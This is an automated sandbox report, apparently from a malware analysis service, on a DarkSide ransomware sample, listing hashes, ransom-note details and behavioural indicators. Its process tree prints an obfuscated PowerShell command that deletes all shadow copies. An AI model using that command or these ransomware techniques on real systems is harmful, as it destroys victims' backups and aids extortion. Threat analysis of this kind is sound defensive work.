Analysis
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max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
31-01-2022 05:58
Static task
static1
Behavioral task
behavioral1
Sample
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe
Resource
win10-en-20211208
General
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Target
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe
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Size
59KB
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MD5
66ddb290df3d510a6001365c3a694de2
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SHA1
77b9103d4af311ba76511144d47aed440ae6ce9f
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SHA256
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39
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SHA512
bd1ecb3ce3e49c495f354a27fd17089b2bc77e3a96b15f28be4c877d2e49dfa1c193a3370a84ec4060f1c2517b2338e2b11cae680e67e9fb5e59367efb67a7ee
Malware Config
Extracted
C:\\README.5bede5a3.TXT
darkside
http://darksidfqzcuhtk2.onion/45FYQLKAX0QTR144EDUI3VOVH2B3SQ0TZM0G7MXX3YUGDSA3AZA9XNNTCMD1H4CN
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 19 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\GroupOut.png.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\MeasureDebug.tiff.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\SkipPing.tiff f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\SkipPing.tiff.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\StartUndo.tiff.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\UndoRepair.raw => C:\Users\Admin\Pictures\UndoRepair.raw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\SetRegister.raw => C:\Users\Admin\Pictures\SetRegister.raw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\SetRegister.raw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\SkipPing.tiff => C:\Users\Admin\Pictures\SkipPing.tiff.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\StartUndo.tiff f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\GrantAssert.crw => C:\Users\Admin\Pictures\GrantAssert.crw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\GroupOut.png => C:\Users\Admin\Pictures\GroupOut.png.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\InitializeSet.raw => C:\Users\Admin\Pictures\InitializeSet.raw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\InitializeSet.raw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\MeasureDebug.tiff f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\GrantAssert.crw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\MeasureDebug.tiff => C:\Users\Admin\Pictures\MeasureDebug.tiff.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File renamed C:\Users\Admin\Pictures\StartUndo.tiff => C:\Users\Admin\Pictures\StartUndo.tiff.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe File opened for modification C:\Users\Admin\Pictures\UndoRepair.raw.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5bede5a3.BMP" f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5bede5a3.BMP" f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exepid process 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe -
Modifies Control Panel 1 IoCs
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallpaperStyle = "10" f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe -
Modifies registry class 5 IoCs
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5bede5a3.ico" f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3\ = "5bede5a3" f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exepowershell.exepid process 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe 968 powershell.exe 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeSecurityPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeTakeOwnershipPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeLoadDriverPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeSystemProfilePrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeSystemtimePrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeProfSingleProcessPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeIncBasePriorityPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeCreatePagefilePrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeBackupPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeRestorePrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeShutdownPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeDebugPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeSystemEnvironmentPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeRemoteShutdownPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeUndockPrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeManageVolumePrivilege 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: 33 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: 34 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: 35 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe Token: SeDebugPrivilege 968 powershell.exe Token: SeBackupPrivilege 1996 vssvc.exe Token: SeRestorePrivilege 1996 vssvc.exe Token: SeAuditPrivilege 1996 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exedescription pid process target process PID 1516 wrote to memory of 968 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe powershell.exe PID 1516 wrote to memory of 968 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe powershell.exe PID 1516 wrote to memory of 968 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe powershell.exe PID 1516 wrote to memory of 968 1516 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:968
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1996
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5c9c7104a2b8844c15089b197424dbefb
SHA1d900815a72d2abe1655807aa05529012a57cee42
SHA256f1b91092f8d3b761b23bee1ad6391b0e754269516bb778ade3b63b6965f28004
SHA5123a2e173b096a076bbfddd0450d6f76351f8b247c60fadaefe2ea094465e247fc11d40aa8b736ebc98bc969b7bec9a4a588f4605d185898dc005525ad3520b642